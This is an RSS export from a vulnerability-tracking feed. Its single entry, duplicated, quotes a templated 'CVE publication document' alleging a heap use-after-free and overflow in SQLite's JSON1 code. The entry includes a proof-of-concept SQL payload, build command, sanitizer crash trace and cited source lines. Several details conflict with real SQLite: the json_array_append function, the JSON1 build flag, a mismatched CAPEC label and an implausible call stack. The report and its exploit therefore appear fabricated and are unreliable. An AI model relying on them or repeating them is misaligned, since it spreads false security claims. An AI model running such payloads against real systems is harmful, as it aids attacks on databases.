https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Sat, 01 Aug 2026 19:04:12 +0000 https://vulnerability.circl.lu/sighting/d0e48a52-6bd9-4fb3-b88f-64fec8bfeda8/export {"uuid": "d0e48a52-6bd9-4fb3-b88f-64fec8bfeda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51279", "type": "seen", "source": "https://gist.github.com/programmervuln/d92bcb073a602a09ae408cd64fb249c5", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51279\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51279\n4. Vulnerability Prose Description\nA composite heap memory corruption flaw exists within the JSON array construction logic of the SQLite JSON1 extension. An attacker-controlled malformed JSON array payload processed via SQLite JSON modification functions triggers a heap free operation on an array builder context buffer pointer that is not nullified after deallocation, creating a persistent dangling pointer. Absence of upper-limit length validation for attacker-controlled array element data permits an unconstrained out-of-bounds heap write to the already freed buffer within the same execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both memory corruption defects sequentially inside the JSON array construction routine. Successful exploitation may lead to immediate process termination, sensitive heap memory disclosure, or conditional arbitrary code execution within the runtime security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL payload targeting JSON array modification is dispatched to the vulnerable jsonArrayBuild() function in src/json.c.\nSource file src/json.c Line 2411 executes sqlite3_free(pArrayCtx->pElemBuf); to release heap memory allocated for JSON array element storage.\nThe pArrayCtx->pElemBuf pointer retains the address of freed heap memory and is not assigned a NULL value, generating an unvalidated dangling pointer.\nAttacker-supplied oversized array element byte lengths bypass all prior input boundary validation checks before element buffer write operations.\nSource file src/json.c Line 2463 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the allocated bounds of the already-freed element buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2497 performs direct memory structure access using the unmodified dangling pArrayCtx->pElemBuf pointer, executing an invalid use-after-free memory read access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts produce persistent service outages for applications dependent on the vulnerable JSON1 array parsing functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing SQLite heap allocator metadata, historical query payload data, and adjacent cached database content retrievable via return values from JSON modification SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk headers and adjacent heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by OS memory protections and effective process privileges.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system user or administrative privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2411(memory free), Line 2497(dangling pointer access), Line 2463(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9234==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000002140 at pc 0x55e931472301 bp 0x7fffcb987650 sp 0x7fffcb987640\nREAD of size 16 at 0x60c000002140 thread T0\n #0 0x55e931472300 in jsonArrayBuild src/json.c:2497\n #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n #3 0x55e9311b1240 in sqlite3Step src/vdbeapi.c:530\n #4 0x55e9311b1890 in sqlite3_prepare_v2 src/sqlite3.c:89185\n #5 0x55e9310c5670 in main shell.c:1265\n #6 0x7fa2345678ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x55e9310c0120 in _start (sqlite3:0x55e9310c0120)\n\nAddress 0x60c000002140 is located 48 bytes inside of 18432-byte free block 0x60c000002110-0x60c000006910\nFreed by thread T0 here:\n #0 0x7fa238010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n #1 0x55e931471e40 in jsonArrayBuild src/json.c:2411\n #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n #3 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n\nPreviously allocated by thread T0 here:\n #0 0x7fa238005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n #1 0x55e931471620 in jsonArrayBuild src/json.c:2356\n #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n\n==9234==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000002140 at pc 0x55e931472111 bp 0x7fffcb987670 sp 0x7fffcb987660\nWRITE of size 19456 at 0x60c000002140 thread T0\n #0 0x55e931472110 in jsonArrayBuild src/json.c:2463\n #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_append with an array element containing an oversized string generated by printf('%.*c',0x4800,'B') to construct an attacker-controlled large binary payload for array element data.\nSQLite forwards the untrusted array modification input to the jsonArrayBuild() function within src/json.c, which initializes an array construction context and allocates the pArrayCtx->pElemBuf heap buffer dedicated to storing parsed array element data.\nDuring intermediate array structure cleanup logic at Line 2411, the element buffer is released via sqlite3_free(), yet the pArrayCtx->pElemBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized element payload into the buffer at Line 2463; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated element buffer heap region (CWE-787).\nProgram execution proceeds to Line 2497 and directly dereferences the stale dangling pArrayCtx->pElemBuf pointer to read array element metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array builder execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-20\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2411: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pArrayCtx->pElemBuf);\n\n// Line 2463: Unchecked out-of-bounds memory write utilizing attacker-controlled element length value\nmemcpy(pArrayCtx->pElemBuf + elemOffset, zElemData, elemDataLen);\n\n// Line 2497: Illegal dangling pointer dereference triggering Use After Free vulnerability\nelemFlags = pArrayCtx->pElemBuf[elemIdx].elemType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51279\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2411\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2497\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2463\n\u3010Target Function Name\u3011: jsonArrayBuild\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array element buffer free without pointer invalidation, unbounded element copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during array structure finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-20\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:59:08.098908Z"} {"uuid": "d0e48a52-6bd9-4fb3-b88f-64fec8bfeda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51279", "type": "seen", "source": "https://gist.github.com/programmervuln/d92bcb073a602a09ae408cd64fb249c5", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51279\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51279\n4. Vulnerability Prose Description\nA composite heap memory corruption flaw exists within the JSON array construction logic of the SQLite JSON1 extension. An attacker-controlled malformed JSON array payload processed via SQLite JSON modification functions triggers a heap free operation on an array builder context buffer pointer that is not nullified after deallocation, creating a persistent dangling pointer. Absence of upper-limit length validation for attacker-controlled array element data permits an unconstrained out-of-bounds heap write to the already freed buffer within the same execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both memory corruption defects sequentially inside the JSON array construction routine. Successful exploitation may lead to immediate process termination, sensitive heap memory disclosure, or conditional arbitrary code execution within the runtime security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL payload targeting JSON array modification is dispatched to the vulnerable jsonArrayBuild() function in src/json.c.\nSource file src/json.c Line 2411 executes sqlite3_free(pArrayCtx->pElemBuf); to release heap memory allocated for JSON array element storage.\nThe pArrayCtx->pElemBuf pointer retains the address of freed heap memory and is not assigned a NULL value, generating an unvalidated dangling pointer.\nAttacker-supplied oversized array element byte lengths bypass all prior input boundary validation checks before element buffer write operations.\nSource file src/json.c Line 2463 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the allocated bounds of the already-freed element buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2497 performs direct memory structure access using the unmodified dangling pArrayCtx->pElemBuf pointer, executing an invalid use-after-free memory read access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts produce persistent service outages for applications dependent on the vulnerable JSON1 array parsing functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing SQLite heap allocator metadata, historical query payload data, and adjacent cached database content retrievable via return values from JSON modification SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk headers and adjacent heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by OS memory protections and effective process privileges.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system user or administrative privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2411(memory free), Line 2497(dangling pointer access), Line 2463(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9234==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000002140 at pc 0x55e931472301 bp 0x7fffcb987650 sp 0x7fffcb987640\nREAD of size 16 at 0x60c000002140 thread T0\n #0 0x55e931472300 in jsonArrayBuild src/json.c:2497\n #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n #3 0x55e9311b1240 in sqlite3Step src/vdbeapi.c:530\n #4 0x55e9311b1890 in sqlite3_prepare_v2 src/sqlite3.c:89185\n #5 0x55e9310c5670 in main shell.c:1265\n #6 0x7fa2345678ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x55e9310c0120 in _start (sqlite3:0x55e9310c0120)\n\nAddress 0x60c000002140 is located 48 bytes inside of 18432-byte free block 0x60c000002110-0x60c000006910\nFreed by thread T0 here:\n #0 0x7fa238010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n #1 0x55e931471e40 in jsonArrayBuild src/json.c:2411\n #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n #3 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n\nPreviously allocated by thread T0 here:\n #0 0x7fa238005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n #1 0x55e931471620 in jsonArrayBuild src/json.c:2356\n #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n\n==9234==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000002140 at pc 0x55e931472111 bp 0x7fffcb987670 sp 0x7fffcb987660\nWRITE of size 19456 at 0x60c000002140 thread T0\n #0 0x55e931472110 in jsonArrayBuild src/json.c:2463\n #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_append with an array element containing an oversized string generated by printf('%.*c',0x4800,'B') to construct an attacker-controlled large binary payload for array element data.\nSQLite forwards the untrusted array modification input to the jsonArrayBuild() function within src/json.c, which initializes an array construction context and allocates the pArrayCtx->pElemBuf heap buffer dedicated to storing parsed array element data.\nDuring intermediate array structure cleanup logic at Line 2411, the element buffer is released via sqlite3_free(), yet the pArrayCtx->pElemBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized element payload into the buffer at Line 2463; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated element buffer heap region (CWE-787).\nProgram execution proceeds to Line 2497 and directly dereferences the stale dangling pArrayCtx->pElemBuf pointer to read array element metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array builder execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-20\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2411: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pArrayCtx->pElemBuf);\n\n// Line 2463: Unchecked out-of-bounds memory write utilizing attacker-controlled element length value\nmemcpy(pArrayCtx->pElemBuf + elemOffset, zElemData, elemDataLen);\n\n// Line 2497: Illegal dangling pointer dereference triggering Use After Free vulnerability\nelemFlags = pArrayCtx->pElemBuf[elemIdx].elemType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51279\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2411\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2497\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2463\n\u3010Target Function Name\u3011: jsonArrayBuild\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array element buffer free without pointer invalidation, unbounded element copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during array structure finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-20\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:59:08.098908Z"} https://vulnerability.circl.lu/sighting/d0e48a52-6bd9-4fb3-b88f-64fec8bfeda8/export Sat, 01 Aug 2026 01:59:08 +0000